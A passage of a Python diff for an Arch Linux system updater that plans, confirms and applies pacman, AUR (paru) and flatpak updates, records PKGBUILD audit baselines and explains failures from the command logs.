+ warning="removes packages from the system",
+ )
+ )
+
+ if opts.flatpak_phase:
+ if run.flatpaks.reason:
+ # not OK: the glyph has to match the words. A failed repository
+ # refresh is flagged the same way, and a tick beside "unreachable"
+ # reads as a contradiction.
+ rows.append(CheckRow(False, "flatpak", run.flatpaks.short_reason))
+ elif run.flatpaks.has_updates:
+ rows.append(CheckRow(True, "flatpak", f"{len(run.flatpaks.updates)} update(s)"))
+ else:
+ rows.append(CheckRow(True, "flatpak", "nothing to do"))
+
+ if run.hygiene.reboot:
+ rows.append(
+ CheckRow(
+ False,
+ "reboot",
+ run.hygiene.reboot,
+ details=[
+ "A new kernel or core library is installed but not yet in use.",
+ "Nothing is broken; it takes effect on the next boot.",
+ ],
+ )
+ )
+
+ # One row for warnings, whatever kinds there are: the page behind it tabs
+ # through them. A row each turned a single "look at this" into a list of
+ # near-identical rows.
+ kinds = list(run.warning_notes)
+ replaced = {note.label for note in run.warning_notes}
+ for warning in run.warnings:
+ if "warning" in replaced and warning.endswith("no longer in the AUR"):
+ continue
+ if any(note.headline == warning for note in run.warning_notes):
+ continue
+ kinds.append(
+ WarningNote(
+ label="warning", title="general", headline=warning, details=_wrap_note(warning)
+ )
+ )
+ if kinds:
+ headline = kinds[0].headline
+ if len(kinds) > 1:
+ headline = f"{len(kinds)} kinds of warning · " + headline
+ rows.append(
+ CheckRow(False, "warning", headline, details=kinds[0].details, action=kinds[0].action)
+ )
+ return rows
+
+
+def _stage_dicts(stages) -> list[dict]:
+ return [
+ {
+ "command": s.command,
+ "what": s.what,
+ "target": s.target,
+ "level": s.level,
+ "phase": s.phase,
+ "finding": s.finding,
+ }
+ for s in stages
+ ]
+
+
+def _installed_paths(names: set[str]) -> dict[str, list[str]]:
+ """File lists for the installed versions, for matching path-triggered hooks.
+
+ An approximation, and the only one available: the new version's file list is
+ inside a package that has not been downloaded.
+ """
+ try:
+ with repo.connect() as handle:
+ local = {p.name: p for p in handle.get_localdb().pkgcache}
+ return {
+ name: [entry[0] for entry in (getattr(local[name], "files", []) or [])]
+ for name in names
+ if name in local
+ }
+ except Exception: # noqa: BLE001 - hook attribution is a bonus, not a need
+ return {}
+
+
+def _steps(run: Run) -> list[Step]:
+ steps: list[Step] = []
+ index = 1
+ all_hooks = hooks_mod.load()
+
+ def add(command: str, detail: str, *, details: list[str] | None = None, staged=None) -> None:
+ nonlocal index
+ steps.append(
+ Step(
+ str(index),
+ command,
+ detail,
+ details or [],
+ _stage_dicts(staged.stages) if staged else [],
+ )
+ )
+ index += 1
+
+ if run.plan.updates:
+ updates = sorted(run.plan.updates, key=lambda u: (u.repo, u.name))
+ staged = queue_mod.pacman_queue(
+ updates,
+ repo_of=lambda n: next((u.repo for u in updates if u.name == n), ""),
+ refreshing=run.options.refresh,
+ all_hooks=all_hooks,
+ paths_by_package=_installed_paths({u.name for u in updates}),
+ )
+ add(
+ "pacman -Syu",
+ f"{len(updates)} packages · {human_bytes(run.plan.download_total)} download",
+ staged=staged,
+ details=[
+ "sudo pacman -Syu --noconfirm",
+ "",
+ "pacman will upgrade these, and anything they need:",
+ "",
+ *[f" {u.name} {u.old} -> {u.new}" for u in updates[:24]],
+ *([f" + {len(updates) - 24} more"] if len(updates) > 24 else []),
+ "",
+ (
+ f"{human_bytes(run.plan.download_total)} to download, "
+ f"{human_bytes(abs(run.plan.installed_delta))} "
+ f"{'freed' if run.plan.installed_delta < 0 else 'added'} on disk"
+ ),
+ "",
+ "pacman downloads to /var/cache/pacman/pkg, verifies the",
+ "signatures against its keyring, checks each package against",
+ "the version in the database, and only then unpacks it.",
+ ],
+ )
+
+ if run.updates:
+ targets = sorted(run.updates)
+ lines = [
+ "paru -S --needed --noconfirm --nobatchinstall <name>"
+ + (" ..." if len(targets) > 6 else ""),
+ "",
+ f"{len(targets)} AUR package(s) will be built, each by makepkg.",
+ "paru is invoked once per package, in dependency order, so one",
+ "that cannot be resolved costs one package instead of all of them:",
+ "",
+ *[
+ f" {name} {run.updates[name][0]} -> {run.updates[name][1]}"
+ for name in targets[:20]
+ ],
+ *([f" + {len(targets) - 20} more"] if len(targets) > 20 else []),
+ "",
+ "makepkg, for every one of them:",
+ " 1 clones the AUR repository and reads its PKGBUILD",
+ " 2 downloads the declared sources and checks their sums",
+ " 3 runs prepare(), then build(), then check()",
+ " 4 runs package() and packs the result as a .pkg.tar.zst",
+ " 5 installs that package with pacman -U",
+ "",
+ "A PKGBUILD is shell and those functions run as you. That is what",
+ "the audit findings above are for: read them before agreeing.",
+ ]
+ if run.blocked:
+ lines += [
+ "",
+ (
+ f"{len(run.blocked)} package(s) the audit flagged will be "
+ "skipped rather than built."
+ ),
+ ]
+ staged = queue_mod.aur_queue(
+ run.options.clone_dir,
+ targets,
+ meta=run.aur_meta,
+ audits=run.audits,
+ all_hooks=all_hooks,
+ paths_by_package=_installed_paths(set(targets)),
+ )
+ add(
+ "paru -S --needed (per package)",
+ f"{len(run.updates)} AUR packages to build",
+ staged=staged,
+ details=lines,
+ )
+
+ if run.vcs:
+ add(
+ "paru (devel)",
+ f"{len(run.vcs)} devel package(s) to rebuild",
+ details=[
+ "paru -S --needed --noconfirm --nobatchinstall <devel packages>",
+ "",
+ "These track a branch rather than a release, so paru compares",
+ "the commit it last built against upstream:",
+ "",
+ *[f" {v.name} {v.old} -> {v.new}" for v in run.vcs[:20]],
+ "",
+ "Nothing here is guessing a version. A -git package's recorded",
+ "pkgver lags what paru generated when it last built, which is",
+ "why only paru can tell you whether upstream has moved.",
+ ],
+ )
+
+ if run.downgrades:
+ add(
+ "(held back)",
+ f"{len(run.downgrades)} AUR version(s) older than installed · not applied",
+ details=[
+ "these are not upgrades and will not be applied:",
+ "",
+ *[
+ f" {name} {old} -> {new}"
+ for name, (old, new) in sorted(run.downgrades.items())[:20]
+ ],
+ "",
+ "The AUR records a version lower than what is installed. pacman",
+ "refuses to move backwards without being told to explicitly,",
+ "and doing so is rarely what you want.",
+ ],
+ )
+
+ if run.flatpaks.has_updates:
+ add(
+ "flatpak update",
+ f"{len(run.flatpaks.updates)} update(s)",
+ staged=queue_mod.flatpak_queue(run.flatpaks.updates),
+ details=[
+ "flatpak update --noninteractive -y",
+ "",
+ *[f" {u.application} {u.version}" for u in run.flatpaks.updates[:20]],
+ ],
+ )
+
+ if run.hygiene.reboot:
+ add(
+ "reboot",
+ run.hygiene.reboot,
+ details=[
+ run.hygiene.reboot,
+ "",
+ "Kernel modules and running services are the usual reason.",
+ "Nothing is broken; the new versions simply are not in use",
+ "until the machine comes back up.",
+ ],
+ )
+ return steps
+
+
+# --------------------------------------------------------------------------
+# rendering
+# --------------------------------------------------------------------------
+
+
+def emit_plan(run: Run, review: Review) -> None:
+ if run.options.json:
+ _print_json(json.dumps(_plan_payload(run, review)))
+ return
+ for line in review_screen(
+ review,
+ theme=run.theme,
+ glyphs=run.glyphs,
+ width=run.options.width,
+ dry_run=run.options.dry_run,
+ ):
+ run.console.print(line)
+
+
+def _plan_payload(run: Run, review: Review) -> dict:
+ return {
+ "repo": [
+ {
+ "name": u.name,
+ "old": u.old,
+ "new": u.new,
+ "repo": u.repo,
+ "download": u.download,
+ "delta": u.delta,
+ "ignored": run.config.is_ignored(u.name),
+ }
+ for u in run.plan.updates
+ ],
+ "aur": [
+ {
+ "name": r.name,
+ "old": r.old,
+ "new": r.new,
+ "tag": r.tag,
+ "note": r.note,
+ "details": r.details,
+ "audited": r.audited,
+ "ignored": run.config.is_ignored(r.name),
+ }
+ for r in review.aur
+ ],
+ "vcs": [{"name": v.name, "old": v.old, "new": v.new} for v in review.vcs],
+ "devel_note": run.devel_note,
+ "checks": [
+ {
+ "ok": c.ok,
+ "label": c.label,
+ "detail": c.detail,
+ "details": c.details,
+ "action": c.action,
+ "warning": c.warning,
+ }
+ for c in review.checks
+ ],
+ # Warnings are grouped by kind so the front end can tab through them
+ # instead of stacking unrelated problems into one scroll.
+ "warnings": [
+ {
+ "title": n.title,
+ "headline": n.headline,
+ "details": n.details,
+ "flagged": n.flagged,
+ "packages": n.packages,
+ }
+ for n in run.warning_notes
+ ],
+ # The plan's steps come from here rather than being rebuilt by the front
+ # end. Two renderers each deriving the commands from the same facts is
+ # how they drift, and the front end cannot know what makepkg will do.
+ "steps": [
+ {
+ "index": s.index,
+ "command": s.command,
+ "detail": s.detail,
+ "details": s.details,
+ "queue": s.queue,
+ }
+ for s in review.steps
+ ],
+ "flatpak": [
+ {"application": u.application, "version": u.version, "origin": u.origin}
+ for u in run.flatpaks.updates
+ ],
+ "vulnerabilities": {"fixable": run.vulns.fixable, "unfixable": run.vulns.unfixable},
+ # acknowledged advisories are left out of the list rather than shown
+ # struck through: the point of acknowledging one is to stop seeing it
+ "advisories": [
+ detail.advisory_detail(a)
+ for a in run.vulns.sorted_advisories()
+ if not run.config.is_acked(a.id)
+ ],
+ "acked": sorted(run.config.acked),
+ "acked_count": len(run.config.acked),
+ "ignored": sorted(run.config.ignored),
+ "config_path": str(config.config_path()),
+ "hygiene": {
+ "cache_reclaimable": run.hygiene.cache.reclaimable,
+ "pacnew": [str(p) for p in run.hygiene.drift.pacnew],
+ "orphans": run.hygiene.orphans,
+ "reboot": run.hygiene.reboot,
+ "stale_processes": [
+ {"pid": s.pid, "name": s.name, "path": s.path} for s in run.hygiene.stale
+ ],
+ },
+ "audits": {
+ name: [
+ {
+ "rule": f.rule,
+ "severity": f.severity.name,
+ "title": f.title,
+ "evidence": f.evidence,
+ }
+ for f in report.findings
+ ]
+ for name, report in run.audits.items()
+ },
+ }
+
+
+# --------------------------------------------------------------------------
+# applying
+# --------------------------------------------------------------------------
+
+
+def confirm_prompt(run: Run) -> str:
+ """The one prompt, owned by the confirming step rather than the plan screen."""
+ if run.blocked:
+ n = len(run.blocked)
+ return f"Apply the rest, skipping {n} flagged package{'s' if n != 1 else ''}?"
+ return "Apply this plan?"
+
+
+def confirm(run: Run, prompt: str) -> bool:
+ if run.options.assume_yes:
+ return True
+ if not sys.stdin.isatty():
+ # never assume consent on a pipe or a timer; that is what --yes is for
+ run.console.print("[dim]not a terminal; use --yes to proceed[/dim]")
+ return False
+ try:
+ answer = run.console.input(f"[bold]{prompt}[/bold] [dim][y/N][/dim] ")
+ except (EOFError, KeyboardInterrupt):
+ return False
+ return answer.strip().lower() in ("y", "yes")
+
+
+def _runner(run: Run, total: int, graph=None) -> live.LiveRunner:
+ observer = live.BuildObserver(
+ graph or build_graph({}, set()), run.options.clone_dir, total=total
+ )
+ return live.LiveRunner(
+ observer,
+ theme=run.theme,
+ glyphs=run.glyphs,
+ console=run.console,
+ dashboard=not run.options.no_tui,
+ workers=1,
+ )
+
+
+def apply_repo(run: Run) -> live.RunResult | None:
+ if not run.plan.updates:
+ return None
+ # -Syu, not -Su: refresh and upgrade in a single transaction. Splitting them
+ # means a failed sync silently applies a different set to the one confirmed,
+ # and on Arch a partial upgrade is the thing to avoid above all.
+ return _runner(run, len(run.plan.updates)).run(
+ ["sudo", "pacman", "-Syu", "--noconfirm"], run.log_dir / "logs" / "pacman.log"
+ )
+
+
+def apply_aur(run: Run) -> live.RunResult | None:
+ if not run.updates:
+ return None
+ candidates = set(run.updates)
+ infos = {}
+ for name in candidates:
+ info, _ = load(run.options.clone_dir, name)
+ if info:
+ infos[name] = info
+ try:
+ graph = build_graph(infos, candidates, strict=True)
+ except MissingMetadata as exc:
+ # keep going: an incomplete order is reported on screen rather than
+ # aborting a run the user already approved
+ run.warnings.append(str(exc))
+ graph = build_graph(infos, candidates)
+ return _runner(run, len(candidates), graph).run(
+ ["paru", "-Sua", "--noconfirm"], run.log_dir / "logs" / "paru.log"
+ )
+
+
+def apply_flatpak(run: Run) -> live.RunResult | None:
+ if not run.flatpaks.has_updates:
+ return None
+ return _runner(run, len(run.flatpaks.updates)).run(
+ flatpak.update_command(), run.log_dir / "logs" / "flatpak.log"
+ )
+
+
+def record_baselines(run: Run) -> int:
+ """Remember the commit we just built, so the next audit has a baseline.
+
+ Without this every audit would forever be a first audit, and the whole
+ "what changed since last time" premise would never come true.
+ """
+ state = aur.State.load()
+ recorded = 0
+ for name in run.updates:
+ repo_dir = run.options.clone_dir / name
+ commit = changes.head(repo_dir).sha
+ meta = run.aur_meta.get(name)
+ state.record(
+ name,
+ maintainer=meta.maintainer if meta else None,
+ commit=commit,
+ version=run.updates[name][1],
+ )
+ recorded += 1
+ if recorded:
+ try:
+ state.save()
+ except OSError as exc:
+ run.warnings.append(f"could not record build baselines: {exc}")
+ return recorded
+
+
+def write_summary(run: Run, results: dict[str, live.RunResult | None]) -> Path:
+ run.log_dir.mkdir(parents=True, exist_ok=True)
+ lines = [f"updater run {time.strftime('%Y-%m-%d %H:%M:%S')}"]
+ for phase, result in results.items():
+ if result is None:
+ lines.append(f"{phase:8} skipped")
+ else:
+ lines.append(
+ f"{phase:8} exit={result.returncode} {result.elapsed:.0f}s log={result.log_path}"
+ )
+ summary = run.log_dir / "summary.txt"
+ summary.write_text("\n".join(lines) + "\n")
+ (run.log_dir / "summary.json").write_text(json.dumps(_plan_payload(run, Review()), indent=1))
+
+ link = latest_link()
+ link.parent.mkdir(parents=True, exist_ok=True)
+ try:
+ if link.is_symlink() or link.exists():
+ link.unlink()
+ link.symlink_to(run.log_dir)
+ except OSError:
+ pass
+ return summary
+
+
+# --------------------------------------------------------------------------
+# subcommands
+# --------------------------------------------------------------------------
+
+
+def cmd_hygiene(run: Run) -> int:
+ report = hygiene.collect(include_processes=True)
+ if run.options.json:
+ _print_json(
+ json.dumps(
+ {
+ "cache_total": report.cache.total,
+ "cache_reclaimable": report.cache.reclaimable,
+ "pacnew": [str(p) for p in report.drift.pacnew],
+ "pacsave": [str(p) for p in report.drift.pacsave],
+ "orphans": report.orphans,
+ "reboot": report.reboot,
+ "stale": [{"pid": s.pid, "name": s.name, "path": s.path} for s in report.stale],
+ }
+ )
+ )
+ return EXIT_OK
+
+ console = run.console
+ console.print(
+ f"[bold]cache[/bold] {human_bytes(report.cache.total)} total · "
+ f"{human_bytes(report.cache.reclaimable)} reclaimable "
+ f"({report.cache.reclaimable_files} files)"
+ )
+ console.print(
+ f"[bold]config[/bold] {len(report.drift.pacnew)} .pacnew · "
+ f"{len(report.drift.pacsave)} .pacsave · "
+ f"{len(report.drift.pacorig)} .pacorig"
+ )
+ for path in report.drift.pacnew[:5]:
+ console.print(f" [dim]{path}[/dim]")
+ console.print(f"[bold]orphans[/bold] {len(report.orphans)}")
+ console.print(f"[bold]reboot[/bold] {report.reboot or 'not required'}")
+ console.print(
+ f"[bold]stale[/bold] {len(report.stale)} process(es) running replaced binaries"
+ )
+ for entry in report.stale[:8]:
+ console.print(f" [dim]{entry.pid:>6} {entry.name:<20} {entry.path}[/dim]")
+ return EXIT_OK
+
+
+def cmd_audit(run: Run, package: str) -> int:
+ state = aur.State.load()
+ meta: dict[str, aur.AurPackage] = {}
+ if not run.options.offline:
+ try:
+ meta = aur.fetch([package])
+ except aur.AurError as exc:
+ run.warnings.append(str(exc))
+ package_meta = meta.get(package)
+ change = changes.change_from_clone(
+ run.options.clone_dir,
+ package,
+ old_commit=state.previous_commit(package),
+ old_maintainer=state.previous_maintainer(package),
+ new_maintainer=package_meta.maintainer if package_meta else None,
+ )
+ report = audit(change)
+
+ old_text = new_text = ""
+ repo_dir = run.options.clone_dir / package
+ if repo_dir.is_dir():
+ pkgbuild = repo_dir / "PKGBUILD"
+ new_text = pkgbuild.read_text(errors="replace") if pkgbuild.is_file() else ""
+ baseline = state.previous_commit(package)
+ if baseline and changes.has_commit(repo_dir, baseline):
+ old_text = changes.show(repo_dir, baseline, "PKGBUILD")
+
+ if run.options.json:
+ _print_json(
+ json.dumps(
+ {
+ "package": package,
+ "verdict": report.verdict.name,
+ "findings": [
+ {
+ "rule": f.rule,
+ "severity": f.severity.name,
+ "title": f.title,
+ "evidence": f.evidence,
+ }
+ for f in report.findings
+ ],
+ }
+ )
+ )
+ return EXIT_BLOCKED if report.verdict is Severity.BLOCK else EXIT_OK
+
+ title = f"{package} · AUR"
+ if package_meta:
+ title = f"{package} · {package_meta.version} · AUR"
+ for line in audit_screen(
+ report,
+ theme=run.theme,
+ glyphs=run.glyphs,
+ width=run.options.width,
+ title=title,
+ old_text=old_text,
+ new_text=new_text,
+ baseline=bool(old_text),
+ ):
+ run.console.print(line)
+ return EXIT_BLOCKED if report.verdict is Severity.BLOCK else EXIT_OK
+
+
+#: each phase writes one log, so a failure can name the command's own output
+_LOG_FOR = {"repo": "pacman", "aur": "paru", "flatpak": "flatpak"}
+
+
+def _conflict_reason(lines: list[str]) -> str:
+ """Explain a package conflict, which is a decision and not a fault.
+
+ pacman refuses to replace a package when told `--noconfirm`, because
+ replacing one is exactly the thing it should ask about first. That makes
+ this look like a failure when it is really a question, and the useful part
+ of the log -- which packages conflict -- sits above the error line that
+ `_failure_reason` would otherwise report.
+ """
+ try:
+ start = next(i for i, line in enumerate(lines) if line.startswith(":: Conflicts found"))
+ except StopIteration:
+ return ""
+
+ pairs: list[str] = []
+ for line in lines[start + 1 :]:
+ if line.startswith(("::", "error:")):
+ break
+ # e.g. "scenefx: scenefx0.5 (scenefx)"
+ cleaned = line.strip()
+ if cleaned:
+ pairs.append(cleaned)
+ if not pairs:
+ return ""
+
+ # The build screen shows these on one line and truncates, so the fact that
+ # matters goes first: which packages conflict, and that nothing happened.
+ listed = ", ".join(pairs[:3])
+ return (
+ f"conflicting packages ({listed}): pacman has to be asked before it "
+ "replaces one and cannot while unattended, so nothing was installed. "
+ "Run the AUR part by hand to confirm, or hold the package back."
+ )
+
+
+#: a line that reads like a failure, rather than progress or cleanup chatter
+_LOOKS_LIKE_ERROR = re.compile(
+ r"\b(?:error|failed|cannot|can't|unable|not found|no such|refused|denied"
+ r"|conflict|missing|invalid)\b",
+ re.IGNORECASE,
+)
+
+
+def _failure_reason(log_path: Path, fallback: str, code: int | None = None) -> str:
+ """Why a phase failed, in one line.
+
+ "exited 1" is not an error message. The command's own output is the only
+ thing that can tell someone what went wrong, and it was being written to a
+ log file nobody was told about.
+ """
+ try:
+ text = log_path.read_text(errors="replace")
+ except OSError:
+ return fallback
+
+ lines = [line.strip() for line in text.splitlines() if line.strip()]
+ if not lines:
+ return fallback
+
+ # sudo's complaint is the one failure with a specific remedy, and it is the
+ # one that looks most like "nothing happened".
+ for line in lines:
+ if "a terminal is required" in line or "a password is required" in line:
+ return (
+ "sudo could not ask for your password: it has no terminal. "
+ "Authenticate first with `sudo -v` in another terminal, then "
+ "apply again."
+ )
+
+ conflict = _conflict_reason(lines)
+ if conflict:
+ return conflict
+
+ # A signal exit is a stop, not a fault. makepkg's last line when it is
+ # interrupted is "==> Cleaning up…", which says nothing about anything --
+ # quoting it made the message look like a mystery rather than an answer.
+ # subprocess reports a signal as a negative code; a shell reports 128+n.
+ if code is not None and (code < 0 or code >= 128):
+ return "stopped before it finished"
+
+ # Prefer a line that reads like a failure, and among those prefer one that
+ # is not makepkg's own. "==> ERROR: A failure occurred in build()." is the
+ # wrapper around the failure; the compiler's "error: could not compile
+ # `foo`" is the failure. Reporting the wrapper tells a reader nothing they
+ # could act on.
+ for line in reversed(lines):
+ if line.startswith("==>"):
+ continue
+ if _LOOKS_LIKE_ERROR.search(line):
+ return f"{fallback} — {_shorten(line)}"
+
+ # nothing more specific: makepkg's own complaint is better than nothing
+ for line in reversed(lines):
+ if _LOOKS_LIKE_ERROR.search(line):
+ return f"{fallback} — {_shorten(line)}"
+
+ return fallback
+
+
+def _shorten(line: str, limit: int = 160) -> str:
+ return line if len(line) <= limit else line[: limit - 1] + "…"
+
+
+def _package_weight(name: str, clone_dir: Path, *, phase: str) -> int:
+ """How much of the bar this package is worth.
+
+ A package that builds runs for minutes; one that only downloads and
+ installs is over in about a second. Counting them alike made the bar race
+ to nearly full during the repository phase, where every package is fast,
+ and left the estimate resting on a mean of zero-second builds.
+
+ The PKGBUILD is the authority on which is which: a `build()` with anything
+ in it is work, and its absence is a package that unpacks what it fetched.
+ """
+ if phase != "aur":
+ return stream.PLAIN_WEIGHT
+ pkgbuild = clone_dir / name / "PKGBUILD"
+ try:
+ funcs = parse_pkgbuild(pkgbuild.read_text(errors="replace")).funcs
+ except OSError:
+ return stream.PLAIN_WEIGHT
+ return stream.BUILD_WEIGHT if (funcs.get("build") or "").strip() else stream.PLAIN_WEIGHT
+
+
+def _apply_phases(
+ plan_names: set[str], candidates: set[str], holds: set[str], skips: set[str], flatpaks: bool
+) -> tuple[list[str], list[str], int]:
+ """What the run will actually do: the phases, the AUR targets, the total.
+
+ One owner, because the arithmetic has to agree with itself. A hold names a
+ package the reader kept, and holds cover repository and AUR packages alike
+ -- the dashboard's solo mode passes whatever survived. Comparing set *sizes*
+ rather than intersecting meant a hold naming anything outside the plan
+ skipped the repository phase outright; and when the caller filtered the
+ targets and this counted them, the two could disagree about which packages
+ were held. Both failures are silent: the run does less than it was asked
+ to, or more.
+ """
+ held = plan_names & holds
+ targets = sorted(candidates - skips - holds)
+
+ phases: list[str] = []
+ if plan_names and len(held) < len(plan_names):
+ phases.append("repo")
+ if targets:
+ phases.append("aur")
+ if flatpaks:
+ phases.append("flatpak")
+ return phases, targets, (len(plan_names) - len(held)) + len(targets)
+
+
+def cmd_apply(run: Run) -> int:
+ """Run the update, streaming events when asked.
+
+ Each phase is a separate command, and the repo phase gates the AUR one: a
+ failed or interrupted upgrade must not be followed by AUR builds, because
+ building against a half-upgraded system is how a tree gets broken.
+ """
+ opts = run.options
+ emit = stream.Emitter()
+ # only the streamed path: an ordinary run has nothing listening for `s`,
+ # and leaving SIGUSR1 at its default keeps it a real stop
+ if opts.json_stream:
+ stream.listen_for_skip()
+
+ # The apply path never planned this, so the phase it advertises was decided
+ # from a default FlatpakState: has_updates was always False and flatpak was
+ # never applied, while the review screen listed its updates.
+ if opts.flatpak_phase:
+ run.flatpaks = flatpak.collect(include_runtimes=False)
+
+ # The same handle the review screen used. Planning this from the databases
+ # on disk instead meant the screen could show sixty repository updates while
+ # the apply decided, from a staler copy, that there were none -- and then
+ # silently skipped the repository phase the user had just approved.
+ with _plan_handle(run) as handle:
+ installed = repo.installed(handle)
+ foreign = repo.foreign(handle)
+ plan = repo.plan(handle)
+
+ aur_meta: dict[str, aur.AurPackage] = {}
+ if not opts.offline:
+ try:
+ aur_meta = aur.fetch(foreign)
+ except aur.AurError as exc:
+ run.warnings.append(str(exc))
+
+ updates, _downgrades = _classify_aur(installed, aur_meta)
+ # VCS packages travel with the AUR set. They are named as explicit targets
+ # and `--needed` is what stops them rebuilding when the AUR version already
+ # matches what is installed.
+ #
+ # A -git package that has been deleted from the AUR is still foreign and
+ # still ends in -git, but naming it makes paru refuse the entire command:
+ # "could not find all required packages: X (target)". One dead package took
+ # the whole AUR phase with it.
+ gone = set(aur.deleted(foreign, aur_meta, known_bases=set(installed)))
+
+ # Only the devel packages paru says have actually moved.
+ #
+ # Naming every foreign -git package instead rebuilds all of them: paru
+ # rebuilds a devel package whenever it is asked for one, because --needed
+ # does not skip them the way it skips a released version -- what is
+ # installed is the version generated at the last build. The screen asks
+ # paru which ones moved; the command must ask the same question, or the two
+ # disagree about what is going to happen.
+ devel, devel_note = aur.devel_upgrades()
+ vcs = [n for n in foreign if _is_vcs(n) and n not in gone and n in devel]
+ if devel_note and any(_is_vcs(n) for n in foreign):
+ # asked and could not be told: name nothing rather than everything
+ run.warnings.append(f"devel rebuilds not offered: {devel_note}")
+ if gone:
+ run.warnings.append(
+ f"{len(gone)} package(s) left the AUR and were left alone: " + ", ".join(sorted(gone))
+ )
+
+ # decisions: what the caller asked for, plus anything configured as ignored
+ ignored = set(run.config.ignored)
+ # The plan screen and the confirm prompt both say the audit-flagged
+ # packages will be skipped rather than built. Nothing carried that into
+ # the run, so they were built anyway -- a package the audit refused, with
+ # the reader told otherwise.
+ flagged = set(run.blocked)
+ skips = set(opts.skips) | {n for n in updates if n in ignored} | flagged
+ holds = set(opts.holds) | {u.name for u in plan.updates if u.name in ignored}
+ # A hold names a package the reader kept, and holds cover both repository
+ # and AUR packages -- the dashboard's solo mode passes whatever was kept.
+ # Comparing set *sizes* meant a hold naming anything outside the plan
+ # skipped the repository phase entirely, and the targets were never
+ # filtered at all, so a held AUR package was built anyway.
+ phases, targets, total = _apply_phases(
+ {u.name for u in plan.updates}, {*updates, *vcs}, holds, skips, run.flatpaks.has_updates
+ )
+
+ # what the run is worth in work, as opposed to in packages: the bar and the
+ # estimate are about the former
+ weights = {name: _package_weight(name, opts.clone_dir, phase="aur") for name in targets}
+ for update in plan.updates:
+ if update.name not in skips and update.name not in holds:
+ weights[update.name] = stream.PLAIN_WEIGHT
+ weight_total = sum(weights.values())
+
+ started = time.monotonic()
+ emit(
+ "start",
+ phases=phases,
+ total=total,
+ weight=weight_total,
+ weights={n: w for n, w in sorted(weights.items()) if w > 1},
+ held=sorted(holds),
+ skipped=sorted(skips),
+ config=str(config.config_path()),
+ )
+
+ if opts.json_stream:
+ for warning in run.warnings:
+ emit("error", message=warning)
+
+ if not phases:
+ emit("done", returncode=0, elapsed=round(time.monotonic() - started, 2))
+ return EXIT_OK
+
+ # Consent. `apply` changes the system, so it must never run unprompted: a
+ # stream consumer owns its own confirmation dialog, which is why asking for
+ # the stream without --yes is refused rather than assumed.
+ if not opts.assume_yes:
+ if opts.json_stream:
+ emit("error", message="--json-stream requires --yes; the front end owns confirmation")
+ emit("done", returncode=EXIT_DECLINED, elapsed=round(time.monotonic() - started, 2))
+ return EXIT_DECLINED
+ if not confirm(run, confirm_prompt(run)):
+ emit("done", returncode=EXIT_DECLINED, elapsed=round(time.monotonic() - started, 2))
+ return EXIT_DECLINED
+
+ # Both of these phases invoke sudo. Checking here means a run that cannot
+ # authenticate says so immediately, instead of streaming a build screen and
+ # failing a second later with an exit code.
+ if {"repo", "aur"} & set(phases) and not live.can_sudo():
+ message = (
+ "sudo cannot act without a password prompt. Run `sudo -v` in "
+ "a terminal first, then apply again."
+ )
+ emit("error", message=message)
+ emit("done", returncode=EXIT_FAILED, elapsed=round(time.monotonic() - started, 2))
+ return EXIT_FAILED
+
+ results: dict[str, int] = {}
+
+ if "repo" in phases:
+ # Not BuildObserver: that watches /proc for makepkg, and pacman is one
+ # process no matter how many packages it touches, so the repository
+ # phase rendered an empty dashboard while hundreds of megabytes moved.
+ observer = live.RepoObserver(
+ [u.name for u in plan.updates if u.name not in holds],
+ log_path=run.log_dir / "logs" / "pacman.log",
+ )
+ runner = stream.StreamingRunner(observer, emit)
+ results["repo"] = runner.run(
+ stream.repo_command(sorted(holds), refresh=opts.refresh),
+ "repo",
+ run.log_dir / "logs" / "pacman.log",
+ )
+ if results["repo"] != 0:
+ emit(
+ "error",
+ message=_failure_reason(
+ run.log_dir / "logs" / "pacman.log",
+ "the repository phase failed; not building AUR packages",
+ ),
+ )
+ emit("done", returncode=results["repo"], elapsed=round(time.monotonic() - started, 2))
+ return EXIT_FAILED
+
+ if "aur" in phases:
+ infos = {}
+ for name in targets:
+ info, _ = load(opts.clone_dir, name)
+ if info:
+ infos[name] = info
+ try:
+ graph = build_graph(infos, set(targets), strict=True)
+ except MissingMetadata as exc:
+ run.warnings.append(str(exc))
+ graph = build_graph(infos, set(targets))
+ if opts.json_stream:
+ emit("error", message=str(exc), details=exc.detail)
+ observer = live.BuildObserver(graph, opts.clone_dir, total=len(targets))
+ runner = stream.StreamingRunner(observer, emit, workers=opts.workers)
+
+ # One package per invocation, in dependency order.
+ #
+ # paru resolves its entire target list before building any of it, so a
+ # single unresolvable target -- a conflict, or a package pulled from
+ # the AUR between the check and the run -- failed the command outright
+ # and *nothing* was installed. Asking for one package at a time is the
+ # only thing that makes one bad package cost one package: everything
+ # else still lands, and the failures are reported together at the end.
+ ordered = [n for n in graph.order if n in set(targets)]
+ ordered += [n for n in sorted(targets) if n not in set(ordered)]
+ aur_logs = run.log_dir / "logs" / "aur"
+ before = _installed_versions()
+
+ failures, remaining, passed_over = _apply_aur_each(
+ runner,
+ ordered,
+ aur_logs,
+ total=len(targets),
+ since=started,
+ report=(lambda message: emit("error", message=message)) if opts.json_stream else None,
+ failed=(
+ lambda name, reason: emit(
+ "failed",
+ name=name,
+ reason=reason,
+ weight=weights.get(name, stream.PLAIN_WEIGHT),
+ )
+ )
+ if opts.json_stream
+ else None,
+ skipped=(
+ lambda name: emit(
+ "skipped", name=name, weight=weights.get(name, stream.PLAIN_WEIGHT)
+ )
+ )
+ if opts.json_stream
+ else None,
+ )
+
+ # Read after the loop, which is what sets it. Snapshotting it before
+ # meant `stopped` was always False: Ctrl+C could not stop the run, the
+ # interrupted package appeared in neither the failures nor the resume
+ # offer, and baselines were recorded for packages never built.
+ stopped = getattr(runner, "interrupted", False)
+
+ results["aur"] = 0 if not failures and not stopped else 1
+
+ # One message, not four. The feed already shows which packages did not
+ # install, so the summary names them once and says how to finish them
+ # rather than restating the count in three different ways.
+ unfinished = [name for name, _ in failures] + remaining
+ if passed_over:
+ # said out loud, and kept out of the resume: the reader asked for
+ # this one to be left
+ run.warnings.append(
+ f"{len(passed_over)} package(s) skipped at your request: " + ", ".join(passed_over)
+ )
+ if opts.json_stream:
+ emit(
+ "error",
+ message=(
+ f"skipped {len(passed_over)} at your request: " + ", ".join(passed_over)
+ ),
+ )
+ if unfinished:
+ run.warnings.append(
+ f"{len(unfinished)} of {len(ordered)} AUR package(s) are not "
+ f"installed: {', '.join(unfinished)}"
+ )
+ if opts.json_stream:
+ if stopped:
+ emit(
+ "error",
+ message=(
+ f"stopped · {len(unfinished)} of {len(ordered)} "
+ "package(s) still to build"
+ ),
+ )
+ else:
+ emit(
+ "error",
+ message=(
+ f"{len(unfinished)} of {len(ordered)} package(s) did "
